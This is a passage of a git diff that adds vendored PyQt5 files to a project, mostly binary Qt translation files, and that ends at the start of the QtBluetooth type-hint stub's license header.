a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fr.qm new file mode 100644 index 00000000..c8f16c34 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_hu.qm new file mode 100644 index 00000000..d7d1f0d8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ko.qm new file mode 100644 index 00000000..18202c93 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_pl.qm new file mode 100644 index 00000000..176a76d1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ru.qm new file mode 100644 index 00000000..e374246b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_tr.qm new file mode 100644 index 00000000..7b08a71d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_uk.qm new file mode 100644 index 00000000..63438a15 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ar.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ar.qm new file mode 100644 index 00000000..8422ab3b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ar.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_bg.qm new file mode 100644 index 00000000..d3bd8251 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ca.qm new file mode 100644 index 00000000..145a5c64 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_cs.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_cs.qm new file mode 100644 index 00000000..106a5e4d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_cs.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_da.qm new file mode 100644 index 00000000..93247328 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_de.qm new file mode 100644 index 00000000..257aa5de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_es.qm new file mode 100644 index 00000000..fe500a09 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fi.qm new file mode 100644 index 00000000..2a391971 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fi.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fr.qm new file mode 100644 index 00000000..da412e89 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_hu.qm new file mode 100644 index 00000000..9437a8ad Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_it.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_it.qm new file mode 100644 index 00000000..c1060bfb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_it.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ja.qm new file mode 100644 index 00000000..87af0b9b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ko.qm new file mode 100644 index 00000000..a48156e4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_pl.qm new file mode 100644 index 00000000..09f3a4af Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ru.qm new file mode 100644 index 00000000..d6baa83b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_sk.qm new file mode 100644 index 00000000..b9638b53 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_tr.qm new file mode 100644 index 00000000..5c2646f7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_uk.qm new file mode 100644 index 00000000..501246e2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_zh_TW.qm new file mode 100644 index 00000000..fb4a9f82 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtmultimedia_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ar.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ar.qm new file mode 100644 index 00000000..b6700c10 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ar.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_bg.qm new file mode 100644 index 00000000..4a243cd6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ca.qm new file mode 100644 index 00000000..a16e00b6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_da.qm new file mode 100644 index 00000000..c0b2e995 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_hu.qm new file mode 100644 index 00000000..951f6ba2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ko.qm new file mode 100644 index 00000000..0589b4be Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_tr.qm new file mode 100644 index 00000000..2030325f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_uk.qm new file mode 100644 index 00000000..8527d06d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_zh_TW.qm new file mode 100644 index 00000000..c9e38c3c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols2_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_bg.qm new file mode 100644 index 00000000..47e5864d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ca.qm new file mode 100644 index 00000000..eca75e77 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_da.qm new file mode 100644 index 00000000..7db00f27 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_de.qm new file mode 100644 index 00000000..9616dcfb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fi.qm new file mode 100644 index 00000000..b733c488 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fi.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fr.qm new file mode 100644 index 00000000..a4cd8c9a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ja.qm new file mode 100644 index 00000000..49efc2e9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ko.qm new file mode 100644 index 00000000..fe604cb8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ru.qm new file mode 100644 index 00000000..d4b5d8b2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_tr.qm new file mode 100644 index 00000000..f2e86d08 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_uk.qm new file mode 100644 index 00000000..76e0e86f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_zh_TW.qm new file mode 100644 index 00000000..a405d479 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtquickcontrols_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_de.qm new file mode 100644 index 00000000..4f15f641 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_es.qm new file mode 100644 index 00000000..79eb553f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ja.qm new file mode 100644 index 00000000..4199f540 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ko.qm new file mode 100644 index 00000000..7b4feb04 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_pl.qm new file mode 100644 index 00000000..42e9e75d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ru.qm new file mode 100644 index 00000000..043c2dad Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_uk.qm new file mode 100644 index 00000000..bc0b13f2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtserialport_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ca.qm new file mode 100644 index 00000000..ebe32f4c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_de.qm new file mode 100644 index 00000000..ab7e3418 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_es.qm new file mode 100644 index 00000000..e26e83de Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_fr.qm new file mode 100644 index 00000000..b86c6173 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ja.qm new file mode 100644 index 00000000..66191e9d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ko.qm new file mode 100644 index 00000000..939f42bb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_pl.qm new file mode 100644 index 00000000..0f7d2b42 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ru.qm new file mode 100644 index 00000000..ee6a9cae Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_uk.qm new file mode 100644 index 00000000..3925a64b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtwebsockets_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_bg.qm new file mode 100644 index 00000000..6fdf0305 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ca.qm new file mode 100644 index 00000000..8078d4c8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_cs.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_cs.qm new file mode 100644 index 00000000..f06b0a03 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_cs.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_da.qm new file mode 100644 index 00000000..87ca5229 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_de.qm new file mode 100644 index 00000000..6ef0e7cf Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_es.qm new file mode 100644 index 00000000..2769e011 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_fr.qm new file mode 100644 index 00000000..807cbbd0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_hu.qm new file mode 100644 index 00000000..ef047fd9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_it.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_it.qm new file mode 100644 index 00000000..79004497 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_it.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ja.qm new file mode 100644 index 00000000..d3e2f5c5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ko.qm new file mode 100644 index 00000000..d050da0f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_pl.qm new file mode 100644 index 00000000..bf5fef38 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ru.qm new file mode 100644 index 00000000..b6711eef Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_sk.qm new file mode 100644 index 00000000..51207037 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_uk.qm new file mode 100644 index 00000000..ff8fbe30 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_zh_TW.qm new file mode 100644 index 00000000..5f46e914 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtxmlpatterns_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/QtBluetooth.pyi b/OTHERS/Jarvis/ools/PyQt5/QtBluetooth.pyi new file mode 100644 index 00000000..035d7f8c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtBluetooth.pyi @@ -0,0 +1,1367 @@ +# The PEP 484 type hints stub file for the QtBluetooth module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may 